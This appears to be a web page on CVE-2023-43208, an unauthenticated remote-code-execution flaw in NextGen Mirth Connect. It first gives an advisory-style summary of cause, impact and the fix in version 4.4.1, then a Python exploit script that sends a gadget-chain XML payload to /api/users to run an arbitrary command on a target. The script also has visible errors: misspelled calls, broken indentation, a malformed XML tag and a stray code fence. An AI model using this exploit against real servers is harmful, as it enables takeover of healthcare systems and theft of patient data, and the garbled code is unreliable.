NextGen Healthcare Mirth Connect

CVE-2023-43208

Vulnerability Overview

CVE-2023-43208 is a severe security vulnerability found in the NextGen Healthcare Mirth Connect data integration platform. It allows unauthorized attackers to execute remote code (RCE – Remote Code Execution) on the affected system, with a CVSS (Common Vulnerability Scoring System) score of 9.8 out of 10, indicating a high level of risk.

Technical Details

The root cause of this vulnerability lies in the improper deserialization of untrusted data:

• Background: This vulnerability is actually a bypass of a previous critical flaw (CVE-2023-37679). The initial fix only used a blacklist to block specific dangerous object classes, which proved to be an inadequate defense mechanism.
• Attack Vector: When Mirth Connect receives XML data via APIs, it uses the XStream Java library for deserialization (converting external XML data into internal Java objects).
• Execution Process: Due to a lack of strict validation before data parsing, attackers can create and send malicious XML payloads. Once processed by the system, these payloads can silently execute any underlying operating system command with the current privileges of the Mirth Connect service, which are usually the highest level (SYSTEM privileges on Windows).

Impact and Potential Risks

• Affected Versions: All versions of Mirth Connect prior to 4.4.1 are at risk.
• Exposure Risk: The vulnerability is extremely easy to exploit since it does not require any authentication credentials (such as usernames or passwords). It has already been officially listed by CISA (Cybersecurity and Infrastructure Security Agency) in the KEV (Known Exploited Vulnerabilities) directory, indicating that active attacks using this vulnerability have been detected in real-world networks.
• Data and Network Threats: Mirth Connect is widely used to handle sensitive data. If a server is compromised, attackers can not only take full control of it but also use it as a launching point for further intrusions within the internal network, potentially stealing large amounts of PHI (Protected Health Information) or other critical business assets.

Fixing and Mitigation Strategies

It is essential to ensure that the management backend and core services are always running on secure versions. The only effective way to fix this issue is to upgrade Mirth Connect to version 4.4.1 or later. In version 4.4.1, the vulnerable XStream blacklist mechanism was removed in favor of a more secure explicit whitelist approach to control which classes can be deserialized.

Exploit Script

# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
#   (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-

# (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/

import argparse
import requests
import urllib3
urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)

def generate_payload(command, platform):
    if platform.lower() == "win":
        cmd = f"cmd.exe /c \"{command}\""
    else:
        cmd = f"{command}"

xml_payload = f"""
<sorted-set>
    <string>ABCD</string>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
        <target class="org.apache.commonscollections4.functors.ChainedTransformer">
          <iTransformers>
            <org.apache.commonscollections4.functors.ConstantTransformer>
              <iConstant class="java.lang.Runtime"></iConstant>
            </org.apache.commonscollections4.functors.ConstantTransformer>
            <org.apache.commonscollections4.functors.InvokerTransformer>
              <iMethodName>getMethod</iMethodName>
              <iParamTypes>
                <java-class>java.lang.String</java-class>
                <java-class>[Ljava.lang.Class;</java-class>
              </iParamTypes>
              <iArgs>
                <string>getRuntime</string>
                <java-class-array/>
              </iArgs>
            </org.apache.commonscollections4.functors.InvokerTransformer>
            <org.apache.commonscollections4.functors.InvokerTransformer>
              <iMethodName>invoke</iMethodName>
              <iParamTypes>
                <java-class>java.lang.Object</java-class>
                <java-class>[Ljava.lang.Object;</java-class>
              </iParamTypes>
              <iArgs>
                <null/>
                <object-array/>
              </iArgs>
            </org.apache.commonscollections4.functors.InvokerTransformer>
            <org.apache.commonscollections4.functors.InvokerTransformer>
              <iMethodName>exec</iMethodName>
              <iParamTypes>
                <java.lang.String</java-class>
              </iParamTypes>
              <iArgs>
                <string>{cmd}</string>
              </iArgs>
            </org.apache.commonscollections4.functors.InvokerTransformer>
          </iTransformers>
        </target>
        <methodName>transform</methodName>
        <eventTypes>
          <string>compareTo</string>
        </eventTypes>
      </handler>
    </dynamic-proxy>
</sorted-set>
"""
    return xml_payload

```python
def exploit(target_url, command, platform):
    payload = generate_payload(command, platform)
    headers = {
        'Content-Type': 'application/xml',
        'X-Requested-With': 'OpenAPI'
    }
    try:
        response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
        if response.status_code == 500:
            print("It appears that the target has executed the payload.")
        else:
            print("Failed to execute the payload.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-43208.")
    parser.add_argument('-c', '--command', required=True, help="Command to execute on the target system.")
    parser.add_argument('-u', '--url', required=True, help="Target URL.")
    parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help="Target platform (default: unix).")
    
    args = parser.parse_args()

    exploit(args.url, args.command, args.platform)

if __name__ == "__main__":
    main()